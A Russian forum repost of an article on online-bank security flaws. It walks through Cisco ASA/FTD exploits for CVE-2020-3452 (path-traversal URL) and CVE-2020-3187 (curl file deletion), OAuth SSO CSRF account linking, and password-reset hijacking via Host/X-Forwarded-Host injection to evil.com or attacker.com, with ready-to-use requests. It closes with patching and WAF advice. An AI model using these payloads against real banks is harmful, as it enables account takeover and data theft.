Проблемы безопасности онлайн банков

Stepan Mikulov

Administrator
Команда форума

1. SSL VPN Сервисы​

Очень часто банки используют Cisco SSL VPN сервисы для организации удаленного доступа в свою внутреннюю сеть

8eadf7f8dbee7cd62704592b59ad5ec1.PNG

Это хорошо, но.. В Cisco существуют две потенциальные уязвимости CVE-2020-3452 и CVE-2020-3187

1.1. CVE-2020-3452​

CVE-2020-3452 - это уязвимость обхода пути только для чтения в программном обеспечении Cisco ASA и FTD. Удаленный злоумышленник, не прошедший проверку подлинности, может воспользоваться этой уязвимостью, отправив специально созданный HTTP-запрос в уязвимую систему.

Воспроизведение данной уязвимости очень проста для злоумышленника

https://bank.com/+CSCOT+/translation-table?type=mst&textdomain=/%252bCSCOE%252b/portal_inc.lua&default-language&lang=../

Ответ

8350cacbe584269e20549fd5c41f4c06.PNG

Вот так мы прочитываем файлы, в которых можно найти конфиденциальную информацию.

1.2. CVE-2020-3187​

Эксплойт может позволить злоумышленнику просмотреть или удалить произвольные файлы в целевой системе

Для воспроизведения уязвимости нужно узнать дает ли /session_password.html ответ 200

curl -k -s -i https://Cisco-VPN/+CSCOE+/session_password.html

Дает результат 200? - Отлично

Попробуем удалить файл с логотипом "/+CSCOU+/csco_logo.gif"

curl -k -H "Cookie: token=../+CSCOU+/csco_logo.gif" https://Cisco-VPN/+CSCOE+/session_password.html

С VPN сервисами закончили.

2. Аутентификация & OAuth​

Разработчики онлайн-банкинга часто допускают ошибки при реализации единого входа (SSO) на основе протокола OAuth 2.0, что может привести к перехвату учетных данных, отправленных по незащищенному протоколу, и захвату сеанса злоумышленником.

Пример​

GET /auth/sso/cb?code=[sso token account] HTTP/1.1
Host: bank.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

Обычно в таких запросах обязательно должны стоять CSRF ключи для проверки подлинности. Но если их нет - злоумышленник может развить свою атаку.

  1. Регистрация аккаунта SSO
  2. При попытке привязать свой аккаунт SSO к банку, злоумышленник перехватывает запрос тот что в верху
  3. Отправляет сгенерированную ссылку жертве.
  4. Аккаунт SSO хакера привязан к банку жертвы.
Или например иногда некоторые механизмы позволяют перехватывать redirect_uri - тоесть обычно в нем вписывается url куда должны поступить токены для авторизации. Иногда такая защита не работает должным образом и злоумышленник подставляет свой сайт/сервер куда впоследствии перейдут токены пользователя.

Захват учетной записи через сброс пароля​

Эксплуатация

POST https://bank.com/reset.php HTTP/1.1
Accept: /
Content-Type: application/json
Host: evil.com

или

Host: bank.com
X-Forwarded-Host: attacker.com

Ну или

Host: target.com
Host: attacker.com

При восстановлении пороля злоумышленник должен указать email адрес жертвы и в заголовках попытаться внедрить свой хост.

При успешной реализации атаки на почту пользователю придет следущее


Как мы видим сервер подставил вместо хоста банка - хост хакера. И если пользователь перейдет по ссылке, то злоумышленник получить токены для авторизации.

Иногда можно не изменять хост в заголовках и поступить другим образом.

POST /resetPassword
[…]
email=victim@email.com&email=attacker@email.com

В запросе видно что злоумышленник просто продублировал параметр email и указал свою почту на которую прийдет токен авторизации.

Вывод​

Постоянно обновляйте свои службы будь то SSL VPN, или GlobalProtect.

Следите за безопасностью аутентификации

Также как совет используйте брандмауэр веб-приложений ( WAF ), чтобы предотвратить использование уязвимостей, вызванных изменениями кода.

Источник статьи: https://habr.com/ru/post/543432/
 
Сверху